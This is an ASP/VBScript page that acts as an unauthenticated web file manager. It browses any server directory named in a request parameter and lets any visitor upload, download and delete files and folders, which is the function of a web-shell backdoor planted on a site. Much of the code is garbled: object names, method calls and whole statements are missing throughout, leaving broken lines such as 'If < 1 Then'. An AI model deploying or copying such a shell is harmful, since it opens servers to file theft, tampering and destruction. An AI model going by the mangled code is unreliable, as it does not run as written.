<%
thedir = request("thedir")
if thedir = "" then
folderini = (".")&"\"
else
folderini = (thedir)&"\"
end if
foldinfo=trim(("foldinfo"))
if foldinfo = "" then
foldinfo = folderini
end if
class clsUp
Dim Form,File
Dim AllowExt_
Dim NoAllowExt_
Private oUpFileStream
Private isErr_
Private ErrMessage_
Private isGetData_
Public Property Get Version
Version="v1.0.0"
End Property
Public Property Get isErr
isErr=isErr_
End Property
Public Property Get ErrMessage
ErrMessage=ErrMessage_
End Property
Public Property Get AllowExt
AllowExt=AllowExt_
End Property
Public Property Let AllowExt(Value)
AllowExt_=LCase(Value)
End Property
Public Property Get NoAllowExt
NoAllowExt=NoAllowExt_
End Property
Public Property Let NoAllowExt(Value)
NoAllowExt_=LCase(Value)
End Property
Private Sub Class_Initialize
isErr_ = 0
NoAllowExt=""
NoAllowExt=LCase(NoAllowExt)
AllowExt=""
AllowExt=LCase(AllowExt)
isGetData_=false
End Sub
Private Sub Class_Terminate
on error Resume Next
Set Form = Nothing
Set File = Nothing
Set oUpFileStream = Nothing
End Sub
Public Sub GetData (MaxSize)
on error Resume Next
if isGetData_=false then
Dim getupdata1,sSpace,bCrLf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,oFileInfo
Dim sFormValue,sFileName
Dim iFindStart,iFindEnd
Dim iFormStart,iFormEnd,sFormName
If < 1 Then
isErr_ = 1
ErrMessage_=""
Exit Sub
End If
If MaxSize > 0 Then
If > MaxSize Then
isErr_ = 2
ErrMessage_=""
Exit Sub
End If
End If
Set Form = ("")
= 1
Set File = ("")
= 1
Set tStream = ("")
Set oUpFileStream = ("")
= 1
= 3
()
= 0
getupdata1 =
iFormEnd =
bCrLf = ChrB (13) & ChrB (10)
sSpace = MidB (getupdata1,1, InStrB (1,getupdata1,bCrLf)-1)
iStart = LenB(sSpace)
iFormStart = iStart+2
Do
iInfoEnd = InStrB (iFormStart,getupdata1,bCrLf & bCrLf)+3
= 1
= 3
= iFormStart
tStream,iInfoEnd-iFormStart
= 0
= 2
= "gb2312"
sInfo =
iFormStart = InStrB (iInfoEnd,getupdata1,sSpace)-1
iFindStart = InStr (22,sInfo,"name=""",1)+6
iFindEnd = InStr (iFindStart,sInfo,"""",1)
sFormName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
If InStr (45,sInfo,"filename=""",1) > 0 Then
Set oFileInfo = new clsFileInfo
iFindStart = InStr (iFindEnd,sInfo,"filename=""",1)+10
iFindEnd = InStr (iFindStart,sInfo,""""&vbCrLf,1)
sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
= GetFileName(sFileName)
= GetFilePath(sFileName)
= GetFileExt(sFileName)
iFindStart = InStr (iFindEnd,sInfo,"Content-Type: ",1)+14
iFindEnd = InStr (iFindStart,sInfo,vbCr)
= Mid(sinfo,iFindStart,iFindEnd-iFindStart)
= iInfoEnd
= iFormStart -iInfoEnd -2
= sFormName
sFormName,oFileInfo
else
= 1
= 3
= iInfoEnd
tStream,iFormStart-iInfoEnd-2
= 0
= 2
= "gb2312"
sFormValue =
If (sFormName) Then
Form (sFormName) = Form (sFormName) & ", " & sFormValue
else
sFormName,sFormValue
End If
End If
iFormStart = iFormStart+iStart+2
Loop Until (iFormStart+2) >= iFormEnd
getupdata1 = ""
Set tStream = Nothing
isGetData_=true
end if
End Sub
Public Function SaveToFile(Item,Path)
SaveToFile=SaveToFileEx(Item,Path,True)
End Function
Public Function AutoSave(Item,Path)
AutoSave=SaveToFileEx(Item,Path,false)
End Function
Private Function SaveToFileEx(Item,Path,Over)
On Error Resume Next
Dim oFileStream
Dim tmpPath
Dim nohack
isErr=0
Set oFileStream = CreateObject ("")
= 1
= 3
= File(Item).FileStart
oFileStream,File(Item).FileSize
nohack=split(path,".")
tmpPath=nohack(0)&"."&nohack(ubound(nohack))
if Over then
if isAllowExt(GetFileExt(tmpPath)) then
tmpPath,2
Else
isErr_=3
ErrMessage_="!"
End if
Else
Path=GetFilePath(Path)
if isAllowExt(File(Item).FileExt) then
do
()
nohack=split(Path&GetNewFileName()&"."&File(Item).FileExt,".")
tmpPath=nohack(0)&"."&nohack(ubound(nohack))
tmpPath
loop Until <1
Path
Else
isErr_=3
ErrMessage_="The file with this suffix name is not allowed to be uploaded!"
End if
End if
Set oFileStream = Nothing
if isErr_=3 then SaveToFileEx="" else SaveToFileEx=GetFileName(tmpPath)
End Function
'Get file data
Public Function FileData(Item)
isErr_=0
if isAllowExt(File(Item).FileExt) then
= File(Item).FileStart
FileData = (File(Item).FileSize)
Else
isErr_=3
ErrMessage_=""
FileData=""
End if
End Function
Public function GetFilePath(FullPath)
If FullPath <> "" Then
GetFilePath = Left(FullPath,InStrRev(FullPath, "\"))
Else
GetFilePath = ""
End If
End function
Public Function GetFileName(FullPath)
If FullPath <> "" Then
GetFileName = mid(FullPath,InStrRev(FullPath, "\")+1)
Else
GetFileName = ""
End If
End function
Public Function GetFileExt(FullPath)
If FullPath <> "" Then
GetFileExt = LCase(Mid(FullPath,InStrRev(FullPath, ".")+1))
Else
GetFileExt = ""
End If
End function
Public Function GetNewFileName()
dim ranNum
dim dtNow
dtNow=Now()
ranNum=int(90000*rnd)+10000
GetNewFileName=year(dtNow) & right("0" & month(dtNow),2) & right("0" & day(dtNow),2) & right("0" & hour(dtNow),2) & right("0" & minute(dtNow),2) & right("0" & second(dtNow),2) & ranNum
End Function
Public Function isAllowExt(Ext)
if NoAllowExt="" then
isAllowExt=cbool(InStr(1,";"&AllowExt&";",LCase(";"&Ext&";")))
else
isAllowExt=not CBool(InStr(1,";"&NoAllowExt&";",LCase(";"&Ext&";")))
end if
End Function
End Class
Class clsFileInfo
Dim FormName,FileName,FilePath,FileSize,FileMIME,FileStart,FileExt
End Class
%>
<%
function deletefile(filename)
set objfilesys=("")
ss=filename
ss=foldinfo&ss
if (ss) then
ss
end if
end function
function deletedir(dirname)
set objfilesys=("")
ss=dirname&idd
ss=(ss)
if (ss) then
ss
end if
end function
function download(filename)
= true
dim url
Dim fso,fl,flsize
dim Dname
Dim objStream,ContentType,flName,isre,url1
Dname=filename
If Dname<>"" Then
url=foldinfo&Dname
End If
Set fso=("")
Set fl=(url)
flsize=
flName=
Set fl=Nothing
Set fso=Nothing
Set objStream=("")
=1
url
ContentType="text/html"
"Content-Disposition","attachment;filename="&flName
"Content-Length", flsize
= "UTF-8"
= ContentType
()
Set objStream = Nothing
end function
function uploadfiles()
filepath=foldinfo
set upload=new clsUp
="aep"
(3072000)
if ("act")="uploadfile" then
for each formName in
set file=(formName)
randomize
filename1=
filename=filepath&filename1
if >0 then
formName,FileName
end if
set file=nothing
next
set upload=nothing
end if
end function
action = request("action")
if action = "deletefile" then
filename = request("filename")
deletefile(filename)
end if
if action = "deletedir" then
deletedirname = request("deletedir")
deletedir(deletedirname)
end if
if action = "download" then
filename = request("filename")
download(filename)
end if
if action = "uploadfiles" then
uploadfiles()
end if
%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body>
<table>
<tr>
<td><font>Current directory:</font><font color="#FF7120"><%=foldinfo%></font>
<form name="form1" method="post" action="?foldinfo=<%=foldinfo%>&action=uploadfiles" enctype="multipart/form-data">
<input type="hidden" name="act" value="uploadfile">
<input type="file" name="file1" style="width:300'" class="tx1" value="">
<input type="submit" name="Submit" value="upload" class="button">
</form>
</td>
</tr>
<tr>
<td>
<hr size="1">
</td>
</tr>
<tr>
<td>
<table width="750" border="0" cellspacing="1" cellpadding="1">
<tr bgcolor="#00CC00">
<td width="300" >Folder</td>
<td width="180" >Size</td>
<td width="200" >LastTime</td>
<td width="100" >Operate</td>
</tr>
</table>
</td>
</tr>
<tr>
<td align="right" >
<%
upfolder=left(foldinfo,len(foldinfo)-1)
upfolder=left(upfolder,InstrRev(upfolder, "\"))
if foldinfo<>folderini then
("<a href='?foldinfo="&upfolder&"'>Go Back</a>")
else
("Go Back")
end if%>
</td>
</tr>
<tr>
<td >
<% ShowFolderList(foldinfo) %>
</td>
</tr>
<tr>
<td >
<table width="750" border="0" cellspacing="1" cellpadding="1">
<tr bgcolor="#009999">
<td width="300">File</td>
<td width="180">Size</td>
<td width="200">LastTime</td>
<td width="100">Operate</td>
</tr>
</table>
</td>
</tr>
<tr>
<td >
<% showfolderinfo(foldinfo)%>
</td>
</tr>
<tr>
<td> </td>
</tr>
</table>
<%
Sub ShowFolderList(folderspec)
Dim fs, f, f1, fc, s, schild,p,fsize
Set fs = CreateObject("")
Set f = (folderspec)
Set fc =
For Each f1 in fc
s =
's = s & vbCrLf
p =
fsize =
schild=folderspec&s&"\"
("<table width='750' border='0' cellspacing='1' cellpadding='1'>")
("<tr>")
("<td width='300' bgcolor='#ECFFD9'><font face='Wingdings' font size='3pt'>0</font><a href='?foldinfo="&schild&"'>"&s&"</a></td>")
("<td width='180' bgcolor='#ECFFD9'>"&fsize&"</td>")
("<td width='200' bgcolor='#ECFFD9'>"&p&"</td>")
("<td width='100' bgcolor='#ECFFD9'>")
("<a href=?foldinfo="&foldinfo&"&action=deletedir&deletedir="&s&">DEL</a>")
("</td>")
("</tr>")
("</table>")
Next
End Sub
Sub showfolderinfo(folderspc)
set MyFileObject=("")
Set MyFolder=(folderspc)
for each thing in
Set afile=(thing)
filenamecode=
filedetail=folderspc+filenamecode
filedetail=replace(filedetail,"\","*s_p_l_i_t*")
filesize=
lastmodify=
("<table width='750' border='0' cellspacing='1' cellpadding='1'>")
("<tr>")
("<td width='300' bgcolor='#f4f4ff'><font face='Wingdings' font size='3pt'>2</font>"&filenamecode&"</td>")
("<td width='180' bgcolor='#f4f4ff'>"&filesize&"</td>")
("<td width='200' bgcolor='#f4f4ff'>"&lastmodify&"</td>")
("<td width='100' bgcolor='#f4f4ff'>")
("<a href=?foldinfo="&foldinfo&"&action=deletefile&filename="&filenamecode&">DEL</a> ")
("<a href=?foldinfo="&foldinfo&"&action=download&filename="&filenamecode&">DL</a>")
("</td>")
("</tr>")
("</table>")
Next
End sub
%>
</body>
</html>